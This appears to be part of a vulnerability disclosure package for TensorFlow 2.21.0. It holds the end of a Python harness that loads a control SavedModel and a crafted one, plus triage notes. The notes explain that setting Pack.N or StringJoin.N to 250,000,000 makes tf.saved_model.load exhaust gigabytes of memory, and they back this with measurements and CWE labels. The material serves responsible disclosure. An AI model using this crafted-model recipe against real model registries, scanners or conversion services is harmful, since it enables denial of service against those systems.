+ control = MODELS / "control_saved_model"
131
+ exploit = MODELS / (
132
+ "pack_n_250m_saved_model"
133
+ if args.exploit == "pack"
134
+ else "string_join_n_250m_saved_model"
135
+ )
136
+ output = {
137
+ "python": sys.version,
138
+ "tensorflow_command": "tf.saved_model.load(model_dir)",
139
+ "control": run_with_time(control, max(args.timeout, 20)),
140
+ "exploit": run_with_time(exploit, args.timeout),
141
+ }
142
+
143
+ print(json.dumps(output, indent=2, sort_keys=True))
144
+ if args.json_out:
145
+ args.json_out.write_text(json.dumps(output, indent=2, sort_keys=True) + "\n")
146
+
147
+ exploit_result = output["exploit"]
148
+ if exploit_result.get("timed_out") and exploit_result.get("maxrss_kb", 0) > 1_000_000:
149
+ print(
150
+ "\nConfirmed: the small malicious SavedModel timed out while consuming "
151
+ f"{exploit_result['maxrss_kb'] / 1024 / 1024:.2f} GiB RSS."
152
+ )
153
+ return 0
154
+ return 1
155
+
156
+
157
+ if __name__ == "__main__":
158
+ raise SystemExit(main())
requirements.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ tensorflow-cpu==2.21.0
triage.md ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Triage notes
2
+
3
+ ## Affected version
4
+
5
+ - `tensorflow-cpu==2.21.0`, latest PyPI release checked on 2026-06-23.
6
+
7
+ ## Control behavior
8
+
9
+ `models/control_saved_model/` loads successfully with:
10
+
11
+ ```python
12
+ tf.saved_model.load("models/control_saved_model")
13
+ ```
14
+
15
+ ## Exploit behavior
16
+
17
+ `models/pack_n_250m_saved_model/` and
18
+ `models/string_join_n_250m_saved_model/` are the same minimal SavedModel layout
19
+ with one changed integer attribute in `saved_model.pb`:
20
+
21
+ - `Pack.N = 250000000`
22
+ - `StringJoin.N = 250000000`
23
+
24
+ `tf.saved_model.load()` starts validating the graph, expands the expected input
25
+ signature according to `N`, and consumes CPU/RAM before the malformed node can
26
+ be rejected.
27
+
28
+ Measured sweep from `evidence/n-sweep-time-rss-20260623.json`:
29
+
30
+ | Node | N | Result | Max RSS |
31
+ | --- | ---: | --- | ---: |
32
+ | Pack | 1,000,000 | clean exception | 526,104 KB |
33
+ | Pack | 50,000,000 | clean exception | 1,891,536 KB |
34
+ | Pack | 100,000,000 | clean exception | 3,258,416 KB |
35
+ | Pack | 250,000,000 | timeout at 12s | 6,654,568 KB |
36
+ | StringJoin | 1,000,000 | clean exception | 524,684 KB |
37
+ | StringJoin | 50,000,000 | clean exception | 1,892,560 KB |
38
+ | StringJoin | 100,000,000 | clean exception | 3,259,836 KB |
39
+ | StringJoin | 250,000,000 | timeout at 12s | 6,139,352 KB |
40
+
41
+ ## Security impact
42
+
43
+ An attacker who can supply a SavedModel to a validator, model registry, model
44
+ scanner, conversion service, or application that calls `tf.saved_model.load()`
45
+ can force multi-GB memory consumption and CPU burn from a tiny model file.
46
+
47
+ No arbitrary code execution or data disclosure is claimed.
48
+
49
+ ## Likely CWE
50
+
51
+ - CWE-400: Uncontrolled Resource Consumption
52
+ - CWE-789: Memory Allocation with Excessive Size Value